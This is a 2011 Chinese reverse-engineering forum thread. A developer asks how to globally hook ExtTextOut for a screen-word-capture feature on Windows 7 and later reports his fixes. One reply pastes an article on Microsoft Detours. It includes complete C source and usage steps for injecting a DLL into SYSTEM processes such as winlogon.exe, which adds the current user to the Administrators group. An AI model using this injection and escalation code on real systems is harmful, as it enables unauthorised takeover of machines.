首页
社区
课程
招聘
[旧帖] 求助嘞,关于APIHOOK, 屏幕取词 0.00雪花
发表于: 2011-10-27 17:30 12234

[旧帖] 求助嘞,关于APIHOOK, 屏幕取词 0.00雪花

2011-10-27 17:30
12234
我所在的公司有个自己开发的软件,用到了屏幕取词功能,其代码用的是网上流传的一份GetWord开源代码,但是在WINDOWS7下,取词功能出现了问题:
1,时常导致Explorer.exe崩溃
2,桌面,资源管理器等位置的取的内容是乱码

现在我对于问题二有了一个了解,需要做字符索引转字符编码的操作,但是在加的过程中,使得这个软件在win7下变得更加脆弱,基本上用一会就会导致Explorer.exe崩溃。。

现在我打算对这部分进行重新梳理,我面临了如下的问题,现在不知如何入手了,希望各位高人帮忙看看:

1,我该用什么技术来实现这个功能? 过去的代码好像是APIHOOK,我想使用InlineHook不清楚是否合适?
2,去CSDN请教,说使用Detours,但是我只能勾住当前线程的,没办法勾到其他进程的,这里如何做到全局?

小弟现在困在这好几天了,期望大家能给我指条明路~

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (15)
雪    币: 151
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
补充一下,这个软件是需要出售的,所以需要软件本身尽可能的稳定~
2011-10-27 17:31
0
雪    币: 729
活跃值: (1195)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
每次取词的时候才去HOOK
2011-10-27 17:46
0
雪    币: 30
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
钩全局???那不就是用DLL么??
HHOOK SetWindowsHookEx( int idHook,
                        HOOKPROC lpfn,
                        HINSTANCE hMod,
                        DWORD dwThreadId);


Parameters

idHook
[in] Specifies the type of hook procedure to be installed. This parameter can be one of the following values.
WH_CALLWNDPROC
Installs a hook procedure that monitors messages before the system sends them to the destination window procedure. For more information, see the CallWndProc hook procedure.
WH_CALLWNDPROCRET
Installs a hook procedure that monitors messages after they have been processed by the destination window procedure. For more information, see the CallWndRetProc hook procedure.
WH_CBT
Installs a hook procedure that receives notifications useful to a computer-based training (CBT) application. For more information, see the CBTProc hook procedure.
WH_DEBUG
Installs a hook procedure useful for debugging other hook procedures. For more information, see the DebugProc hook procedure.
WH_FOREGROUNDIDLE
Installs a hook procedure that will be called when the application's foreground thread is about to become idle. This hook is useful for performing low priority tasks during idle time. For more information, see the ForegroundIdleProc hook procedure.
WH_GETMESSAGE
Installs a hook procedure that monitors messages posted to a message queue. For more information, see the GetMsgProc hook procedure.
WH_JOURNALPLAYBACK
Installs a hook procedure that posts messages previously recorded by a WH_JOURNALRECORD hook procedure. For more information, see the JournalPlaybackProc hook procedure.
WH_JOURNALRECORD
Installs a hook procedure that records input messages posted to the system message queue. This hook is useful for recording macros. For more information, see the JournalRecordProc hook procedure.
WH_KEYBOARD
Installs a hook procedure that monitors keystroke messages. For more information, see the KeyboardProc hook procedure.
WH_KEYBOARD_LL
Windows NT/2000/XP: Installs a hook procedure that monitors low-level keyboard input events. For more information, see the LowLevelKeyboardProc hook procedure.
WH_MOUSE
Installs a hook procedure that monitors mouse messages. For more information, see the MouseProc hook procedure.
WH_MOUSE_LL
Windows NT/2000/XP: Installs a hook procedure that monitors low-level mouse input events. For more information, see the LowLevelMouseProc hook procedure.
WH_MSGFILTER
Installs a hook procedure that monitors messages generated as a result of an input event in a dialog box, message box, menu, or scroll bar. For more information, see the MessageProc hook procedure.
WH_SHELL
Installs a hook procedure that receives notifications useful to shell applications. For more information, see the ShellProc hook procedure.
WH_SYSMSGFILTER
Installs a hook procedure that monitors messages generated as a result of an input event in a dialog box, message box, menu, or scroll bar. The hook procedure monitors these messages for all applications in the same desktop as the calling thread. For more information, see the SysMsgProc hook procedure.
lpfn
[in] Pointer to the hook procedure. If the dwThreadId parameter is zero or specifies the identifier of a thread created by a different process, the lpfn parameter must point to a hook procedure in a DLL. Otherwise, lpfn can point to a hook procedure in the code associated with the current process.
hMod
[in] Handle to the DLL containing the hook procedure pointed to by the lpfn parameter. The hMod parameter must be set to NULL if the dwThreadId parameter specifies a thread created by the current process and if the hook procedure is within the code associated with the current process.
dwThreadId
[in] Specifies the identifier of the thread with which the hook procedure is to be associated. If this parameter is zero, the hook procedure is associated with all existing threads running in the same desktop as the calling thread.
Return Value

    If the function succeeds, the return value is the handle to the hook procedure.

    If the function fails, the return value is NULL. To get extended error information, call GetLastError.


MSDN上的
2011-10-27 17:51
0
雪    币: 151
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5


这个我用到了,确实消息都能收到,但是按照要求,我鼠标所在的窗体需要发出一个重新绘制的事件,然后我本应该在这里截获ExtTextOut的函数,来获取它将要重绘的内容。

现在问题是,如果使用Detours对于当前线程我可以自动跳转到我自定义的MyExtTextOut里, 但是其他的进程则不行, 如果我没理解错的话,应该是ExtTextOut对每个进程都一个镜像,而我只修改了当前进程的镜像,其他进程不会产生影响,我该怎么让其他的进程也能自动跳转到我自定义的MyExtTextOut里呢?
2011-10-27 17:55
0
雪    币: 30
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
用DETOURS库获取NT管理员权限
陈志敏
---- Detours是微软开发的一个函数库(源代码可在http://research.microsoft.com/sn/detours 免费获得), 用于修改运行中的程序在内存中的影像,从而即使没有源代码也能改变程序的行为。具体用途是:

拦截WIN32 API调用,将其引导到自己的子程序,从而实现WIN32 API的定制。
为一个已在运行的进程创建一新线程,装入自己的代码并运行。
---- 本文将简介Detours的原理,Detours库函数的用法, 并利用Detours库函数在Windows NT上编写了一个程序,该程序能使有“调试程序”的用户权限的用户成为系统管理员,附录利用Detours库函数修改该程序使普通用户即可成为系统管理员(在NT4 SP3上)。

一. Detours的原理

---- 1. WIN32进程的内存管理

---- 总所周知,WINDOWS NT实现了虚拟存储器,每一WIN32进程拥有4GB的虚存空间, 关于WIN32进程的虚存结构及其操作的具体细节请参阅WIN32 API手册, 以下仅指出与Detours相关的几点:

---- (1) 进程要执行的指令也放在虚存空间中
---- (2) 可以使用QueryProtectEx函数把存放指令的页面的权限更改为可读可写可执行,再改写其内容,从而修改正在运行的程序
---- (3) 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存,再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行,并把要执行的指令以二进制机器码的形式写入,从而为一个正在运行的进程注入任意的代码

---- 2. 拦截WIN32 API的原理

---- Detours定义了三个概念:

---- (1) Target函数:要拦截的函数,通常为Windows的API。
---- (2) Trampoline函数:Target函数的复制品。因为Detours将会改写Target函数,所以先把Target函数复制保存好,一方面仍然保存Target函数的过程调用语义,另一方面便于以后的恢复。
---- (3) Detour 函数:用来替代Target函数的函数。

---- Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令(共5个字节)把对Target函数的调用引导到自己的Detour函数, 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+5作为Trampoline函数。例子如下:

拦截前:Target _ Function:
;Target函数入口,以下为假想的常见的子程序入口代码
push ebp
mov ebp, esp
push eax
push ebx
Trampoline:
;以下是Target函数的继续部分
……

拦截后: Target _ Function:
jmp Detour_Function
Trampoline:
;以下是Target函数的继续部分
……

Trampoline_Function:
; Trampoline函数入口, 开头的5个字节与Target函数相同
push ebp
mov ebp, esp
push eax
push ebx
;跳回去继续执行Target函数
jmp Target_Function+5
---- 3. 为一个已在运行的进程装入一个DLL

---- 以下是其步骤:

---- (1) 创建一个ThreadFuction,内容仅是调用LoadLibrary。
---- (2) 用VirtualAllocEx为一个已在运行的进程分配一片虚存,并把权限更改为可读可写可执行。
---- (3) 把ThreadFuction的二进制机器码写入这片虚存。
---- (4) 用CreateRemoteThread在该进程上创建一个线程,传入前面分配的虚存的起始地址作为线程函数的地址,即可为一个已在运行的进程装入一个DLL。通过DllMain 即可在一个已在运行的进程中运行自己的代码。

二. Detours库函数的用法

---- 因为Detours软件包并没有附带帮助文件,以下接口仅从剖析源代码得出。

---- 1. PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction)

---- 功能:从一DLL中找出一函数的入口地址
---- 参数:pszModule是DLL名,pszFunction是函数名。
---- 返回:名为pszModule的DLL的名为pszFunction的函数的入口地址
---- 说明:DetourFindFunction除使用GetProcAddress外,还直接分析DLL的文件头,因此可以找到一些GetProcAddress找不到的函数入口。

---- 2. DETOUR_TRAMPOLINE(trampoline_prototype, target_name)
---- 功能:该宏把名为target_name 的Target函数生成Trampoline函数,以后调用 trampoline_prototype在语义上等于调用Target函数。

---- 3. BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour)
---- 功能:用Detour 函数拦截Target函数
---- 参数:pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype,pbDetour是 Detour 函数的入口地址。

---- 4. BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour)
---- 功能:恢复Target函数
---- 参数:pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype,pbDetour是 Detour 函数的入口地址。

---- 5. BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName)
---- 功能:为一个已在运行的进程装入一个DLL
---- 参数:hProcess是进程的句柄,lpDllName是要装入的DLL名

三. 程序实例

---- 以一个能使有“调试程序”的用户权限的用户成为系统管理员的程序做例子说明Detours 库函数的用法。程序的设计思路是找一个以System帐号运行的进程,如spoolss.exe, rpcss.exe, winlogon.exe, service.exe等,使用ContinueProcessWithDll在其中注入把当前用户加入到 Administrators本地组的DLL,因为该DLL在这些进程的安全上下文环境运行,所以有相应的权限。

---- 先编写相应的DLL:

/*admin.dll, 当进程装入时会把名为szAccountName
的用户加入到Administrators本地组。*/

#include
#include
#include
#include

/*以下创建一共享段实现进程间的数据通讯,
szAccountName 是用户名,bPrepared说明
szAccountName是否已初始化。*/

#pragma data_seg(".MYSHARE")
BOOL bPrepared=FALSE;
wchar_t szAccountName[100]={0};
#pragma data_seg()

#pragma comment(linker, "/SECTION:.MYSHARE,RWS")

/*程序调用SetAccountName设置要加入到Administrators
本地组的用户名,并通知DllMain
已初始化szAccountName ,
以后被装入时可调用ElevatePriv */

__declspec(dllexport) VOID WINAPI
SetAccountName(wchar_t *Name)
{
wcscpy(szAccountName,Name);
bPrepared=TRUE;
}

/*把名为szAccountName的用户加入
到Administrators本地组*/

__declspec(dllexport) VOID WINAPI ElevatePriv()
{
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;
NetLocalGroupAddMembers(NULL,L"Administrators",
3,(LPBYTE)&account,1);
}

__declspec(dllexport) ULONG WINAPI
DllMain(HINSTANCE hInstance,
DWORD dwReason, PVOID lpReserved)
{
switch (dwReason) {
case DLL_THREAD_ATTACH:
if (bPrepared)
ElevatePriv();
}
return TRUE;
}

程序如下:

/*AddMeToAdministrators.exe 把当前用户加入到
Administrators本地组。使用方法为:(1)
---- 运行任务管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的进程ID (2)执行AddMeToAdministrators.exe procid, 其中procid为(1)记下的进程ID (3)签退再签到,运行用户管理器,即可发现自己已在Administrators本地组中。*/

#include
#include
#include
#include
#include

extern VOID WINAPI SetAccountName(wchar_t *Name);

/* GetCurrentUser得到自己的用户名称*/

void GetCurrentUser(wchar_t *szName)
{
HANDLE hProcess, hAccessToken;
wchar_t InfoBuffer[1000],szAccountName[200],
szDomainName[200];
PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
DWORD dwInfoBufferSize,dwAccountSize = 200,
dwDomainSize = 200;
SID_NAME_USE snu;

hProcess = GetCurrentProcess();

OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken);

GetTokenInformation(hAccessToken,TokenUser,
InfoBuffer,
1000, &dwInfoBufferSize);

LookupAccountSid(NULL, pTokenUser->User.Sid,
szAccountName,
&dwAccountSize,szDomainName, &dwDomainSize, &snu);
wcscpy(szName,szDomainName);
wcscat(szName,L"\");
wcscat(szName,szAccountName);
}

/* EnablePrivilege启用自己的“调试程序”的用户权限*/

BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable)
{
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES, &hToken))
return FALSE;
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, szPrivName,
&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ?
SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp,
sizeof(tp), NULL, NULL);
return((GetLastError() == ERROR_SUCCESS));
}

int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev,
LPSTR lpszCmdLine, int
nCmdShow)
{
INT argc;
WCHAR **argv;
argv = CommandLineToArgvW(GetCommandLineW(),
&argc);
INT nProcessId = -1;
if (argc!=2){
wprintf(L"usage %s pid", argv[0]);
return 1;
}
nProcessId = _wtoi(argv[1]);
printf("%d ",nProcessId);
---- /*要成功执行ContinueProcessWithDll,要对winlogon.exe等进程的进程句柄有读写存储器内容和创建线程的权限,EnablePrivilege使本进程有这样的权利。*/

if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){
printf("AdjustTokenPrivilege Fail %u ",
(UINT)GetLastError());
return 1;
}
HANDLE gNewHandle =
OpenProcess(PROCESS_ALL_ACCESS
, TRUE, nProcessId);
if (!gNewHandle){
printf("OpenProcess Fail %u ",
(UINT)GetLastError());
return 1;
}
wchar_t szName[100];
GetCurrentUser(szName);
SetAccountName(szName);
If (!ContinueProcessWithDll(gNewHandle,
L"c:\temp\admin.dll")) {
printf("ContinueProcessWithDll failed %u",
(UINT)GetLastError());
return 3;
}
return 0;
}
---- 因为“调试程序”的用户权限缺省情况下仅赋予给管理员,因此并不会造成安全漏洞。但该程序揭示出“调试程序”的用户权限其实是至高无上的用户权限,只能授予给可信用户。

四. 结论 ---- Detours是一强大的工具,提供了简单易用的函数接口来拦截WIN32 API调用和为一个已在运行的进程装入一个DLL。


y引用别人的,希望对你有帮助
2011-10-27 18:18
0
雪    币: 622
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
论坛搜索 屏幕取词
2011-10-29 13:44
0
雪    币: 200
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
不明白,来看高手解答。
2011-10-29 17:23
0
雪    币: 136
活跃值: (429)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
9
找个金山词霸的XdictGrb.dll 调用一下就OK
2011-11-2 09:29
0
雪    币: 151
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
这个工具最终要出售的,所以不可以侵权。。
2011-11-2 09:46
0
雪    币: 151
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
经过几天努力,现在的进展如下:
1, 换了钩子,目前在使用 海风的 HOOKAPILIB,目前感觉还挺稳定,等必要时换Detours或MHOOK,
2,通过SetWindowHookEx可以做全局钩子,使用HOOKAPILIB 勾 Bltblt,ExtTextOut 几个API
3,基本的框架搭好了,在WIN7下还算稳定

但是现在遇到个问题,又卡住了,在google巡视一圈无望又来这里求助各位~

现在使用文本输出方式的文本我都可以通过ExtTextOut 获取到, 但是通过内存DC方式文本,我却获取不到。

详细点说,我通过跟踪ExtTextOutW可以成功获取到其他其他进程中的编辑框、按钮中的文字, 但是标题、右键菜单、以及桌面图标上的文字我却获取不到,我现在已知这部分使用Bltbit在内存中生成图片后,贴到屏幕上的,在这种情况下,我的ExtTextOUtW替换函数中, hdc所在的窗体为NULL,说明是内存DC,但是这时lpstring参数的内容却是一段乱码,并且这段乱码不论我的鼠标落在哪里都不变。。。

问题就是说我该如何获取这种情况下输出的文字?  是不是在WIN7下这部分内容进行了加密或保护处理?
2011-11-2 09:58
0
雪    币: 151
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
情况又有进展,上面的问题自己解决了,不过还是遇到了新的问题

1,现在使用Detours2.1做API钩子, 由于这个不支持64位,最终打算用MHook,由于程序是要商用的,还不清楚MHook是否足够稳定??
2,之前的内存DC能获取到了,因为钩子不是全局,很低级错误。
3,现在根据 ExtTextOutExtW的option参数 知道了还需要从字体的索引转字符,转字符的话,是不是需要用到GetFontUnicodeRanges 函数? 但是我把这个函数放到我截获的ExtTextOutExtW函数中,程序无法运行,直接崩溃,不清楚什么原因,怀疑是函数递归调用了。系统把字符转字体索引用的是那个API? 如果我直接HOOK这个API是不是就可行了?
2011-11-7 14:42
0
雪    币: 151
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
还有一个问题,当我用全局钩子截获信息时,总是会截到一串固定的乱码 “4******”星号是我记不得的字符,不清楚这个字符串有什么具体的含义?
2011-11-7 14:44
0
雪    币: 603
活跃值: (40)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
14
遍历进程。。然后在每个进程都hook一遍。。
2011-11-7 20:27
0
雪    币: 8
活跃值: (82)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
字型转字符是要用到GetFontUnicodeRanges等函数的,网上有例子代码的。
2011-11-7 22:13
0
雪    币: 151
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
32位钩子搞定了,回复一下吧,给后来人提个醒。

1,那串“4******”乱码实际上是我测试程序标题。。 ⊙﹏⊙b汗,字符索引的方式显示就是这东西
2,字符索引到字符集的转换需要用到 GetFontUnicodeRanges,但是不能每次都调用,同时这里也不能使用局部变量,也会崩掉,最后是准备一个容器把结果存储一下,每次去容器里取就好。 注意:每种字体的索引时不同的,需要区分对待。
2012-1-13 15:09
0
游客
登录 | 注册 方可回帖
返回
//